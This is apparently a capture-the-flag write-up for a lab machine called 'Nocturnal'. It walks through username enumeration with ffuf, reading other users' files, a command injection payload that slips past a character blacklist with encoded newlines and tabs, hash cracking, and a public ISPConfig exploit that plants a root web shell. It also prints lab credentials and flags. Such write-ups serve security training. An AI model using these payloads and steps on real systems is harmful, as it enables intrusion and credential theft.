
Nocturnal
Summary
The web application on this target allows a logged-in user to upload text documents. However, the link with which we can access our uploaded files allows us to enumerate and access files of other accounts. This way, we discover another user’s password, who is also the admin of this application. By injecting a password field on the admin panel, we achieve command execution on the target, which lets us access the application’s database and its passwords.
After we gained the foothold with the discovered credentials, we find an internally running web service executed by the root
account. Since this service uses an outdated version, we use a public exploit to get access to the root
account, compromising the machine.
Solution
Reconnaissance
By utilizing Nmap, we find two open ports on the target.
nmap -sC -sV 10.10.11.64 -p- -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-14 12:45 CEST
Nmap scan report for 10.10.11.64
Host is up (0.055s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Due to the redirect in the web service, we need to add nocturnal.htb
to our /etc/hosts
file, so we can actually access it. Once we visit it in our browser, we get introduced to the Nocturnal service.
From the description, this page advertises itself as a file storage service. This is always dangerous, if our upload is not being filtered properly. Let’s create an account over the register feature on the login page, and log into the application.
As the link reveals that we are dealing with a PHP backend, we could try to upload some malicious PHP code and try to execute it. However, when we upload any PHP file, we get the following error message: Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed
. As I could not find any way to bypass the filter, this seems to be off the table. Instead, let’s try to upload a regular file and look at what happens. After uploading test.pdf
, a dummy PDF I created for this purpose, we get a successful upload. Shortly after, the uploaded appears under your files
. When we click on it, we get this redirected to http://nocturnal.htb/view.php?username=test&file=test.pdf
.
This is a little unusual, as this link does not only contain our uploaded file, but also our username. First, let’s see what happens if I enter a file name with a valid extension.
The response is as expected. Since my file already got deleted, the response is empty. However, normally we could see the file we uploaded previously, as long as our username is part of the link. If I enter some random value for the parameter username
, we actually get a different error message.
User Flag
It seems like the website’s error handling is a little too explicit, as it reveals if a given user exists. We could use this to enumerate other usernames on the system with the help of Ffuf and a generic list of usernames. Don’t forget to add your session cookie, in order to not get redirected to /login.php
.
ffuf -H "Cookie: PHPSESSID=05oqpcke58c18j9oh5f80nu94r" -u "http://nocturnal.htb/view.php?username=FUZZ&file=*.pdf" -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -fs 2985
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=FUZZ&file=*.pdf
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
:: Header : Cookie: PHPSESSID=05oqpcke58c18j9oh5f80nu94r
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 2985
________________________________________________
admin [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 38ms]
amanda [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 35ms]
tobias [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 38ms]
There are only three usernames, which trigger a response different to the one with the message User not found
. While two of them didn’t upload a file, Amanda
did. Over http://nocturnal.htb/view.php?username=amanda&file=*.pdf
, we can download a file called privacy.odt
.
When we open this file in OpenOffice or something similar, the program presents us a file with a lot of gibberish in it. Since this almost looks like a corrupted or compressed file, it’s likely not the best idea to open it in one of these tools.
file privacy.odt
privacy.odt: Zip archive, with extra data prepended
Since the output above tells us that we are dealing with a ZIP archive, let’s unzip it and search through these files manually. As it’s always a good idea to search for potential passwords, let’s look for them first.
grep pass -r .
./content.xml:<cut>
Dear <cut>Amanda<cut>
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.<cut>
The file content.xm
contains a temporary password for the user Amanda
. While we can’t use this password to log into the target over SSH as Amanda
, we can use these credentials for the login feature on the website.
In contrast to the dashboard on our account, the top left reveals a link to an Admin Panel
. Let’s check this out.
This admin dashboard has two essential features. On one hand, we can inspect the code of all PHP files on this web server, which allows us to look for any vulnerabilities. On the other hand, Amanda
is permitted to create a password protected backup of this web application’s content, for which we can set a custom password in the field below. Since we can access the PHP code responsible for creating the backup, let’s take a closer look at admin.php
.
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
<cut>
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
<cut>
Essentially, the application receives our password value and feeds it into a command line call of zip
. Since this is quite dangerous, the application’s logic filters our input for a set of characters, which could be used to inject commands into the call. If we were to bypass this filter and achieve command execution, we might be able to access the application’s database, which is being referenced in login.php
.
$db = new SQLite3('../nocturnal_database/nocturnal_database.db');
After analyzing the character blacklist and trying out different things, I noticed that two characters are missing. The important part here is, that the command is not actually executed instantly, but saved to a log file. It is only afterward, that the commands in this file are being read and executed. Since the \n
(or line feed) is not part of the blacklist, we can break the line and start a new command from scratch, which will also be executed.
However, in order to execute meaningful commands, we still need some kind of whitespace substitute, as the space character is part of the blacklist. For this, we can use an encoded tab
, since bash will interpret it alike. This is enough for us to achieve command execution. Let’s intercept a sent backup password with Burpsuite and change the value to anything like %0aANY%09COMMAND%09HERE
. As I was not able to spawn a reverse shell this way, we can just copy the SQLite database into the web root, so we can download it to our machine.
password=%0acp%09../nocturnal_database/nocturnal_database.db%09.&backup=
password=%0als%09-la&backup=
-rw-r--r-- 1 www-data www-data 57538 Apr 15 18:23 backups/backup_2025-04-15.zip
.:
total 88
drwxr-xr-x 4 www-data www-data 4096 Apr 15 18:20 .
drwxr-xr-x 6 ispconfig ispconfig 4096 Apr 14 09:26 ..
-rw-r--r-- 1 www-data www-data 7357 Mar 4 16:34 admin.php
drwxr-xr-x 2 www-data www-data 4096 Apr 15 18:23 backups
-rw-r--r-- 1 www-data www-data 28683 Apr 15 18:20 bash.zip
-rw-r--r-- 1 www-data www-data 2666 Apr 14 09:28 dashboard.php
-rw-r--r-- 1 www-data www-data 1639 Apr 9 10:52 index.php
-rw-r--r-- 1 www-data www-data 1425 Apr 14 09:27 login.php
-rw-r--r-- 1 www-data www-data 84 Oct 5 2024 logout.php
-rw-r--r-- 1 www-data www-data 1404 Apr 14 09:29 register.php
-rw-r--r-- 1 www-data www-data 3105 Oct 19 02:26 style.css
drwxr-xr-x 2 www-data www-data 4096 Mar 21 07:40 uploads
-rw-r--r-- 1 www-data www-data 5366 Apr 14 09:28 view.php
Let’s download the database at http://nocturnal.htb/nocturnal_database.db
and dump its data.
sqlite3 nocturnal_database.db
sqlite> .tables
uploads users
sqlite> SELECT * from users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|test|098f6bcd4621d373cade4e832627b4f6
In total, the database contains four passwords, one of which is the one for our account, and another one being the one of amanda
, which we already know. Therefore, we only need to save the hashes of admin
and tobias
and feed it into Hashcat.
hashcat hashes --user -m 0 /usr/share/wordlists/rockyou.txt
<cut>
55c82b1ccd55ab219b3b109b07d5061d:slowmotionapocalypse
<cut>
As Hashcat was able to quickly brute force through these hashes, we obtain the password for tobias
, with which we can log into the target over SSH and claim the user flag.
ssh tobias@nocturnal.htb
0926d9987652980511d1af343a068617
Root Flag
The user account we compromised is remarkably unremarkable, as it does not over anything useful. Nevertheless, we can use it to enumerate some running processes. On of these processes is another PHP application on port 8080, which only runs on the localhost.
ps -aux
<cut>
root 830 0.0 0.6 211568 26984 ? Ss 11:52 0:01 /usr/bin/php -S 127.0.0.1:8080
<cut>
Since this application runs as the root
user, compromising this application means compromising the root
account, which is what we are aiming for. Let’s start by forwarding this application to our attacking machine over SSH, so we can inspect it in our browser. Note: As my web proxy is running on port 8080, I forward the application to port 8081.
ssh tobias@nocturnal.htb -L 8081:localhost:8080
When we visit the application in the browser, we are greeted with a login panel for ISPConfig
.
A quick Google search reveals that this application is shipped with a set of default credentials admin:admin
. However, these have seemingly been changed. By spraying the passwords we obtained earlier, we get access with admin:slowmotionapocalypse
and are being forwarded to the service’s dashboard. The first thing to look for is this service’s version, which can find under the Monitor
tab to be 3.2.10p1
.
As we can find a few exploits for this version, this is likely our opportunity to get access to root
. While a few of these exploits didn’t work for me, I found success with this one. After providing the found credentials and the service’s location, we get a shell as root
, as which we can claim the root flag.
python3 exploit.py http://localhost:8081 admin slowmotionapocalypse
[+] Logging in as 'admin'
[+] Login successful.
[+] Injecting PHP shell...
[+] Shell dropped at 'sh.php'
[+] Web shell ready. Type commands below. Ctrl+C or 'exit' to quit.
ispconfig-shell# whoami
root
91e3c2c584031e25c218f9d21fce21b1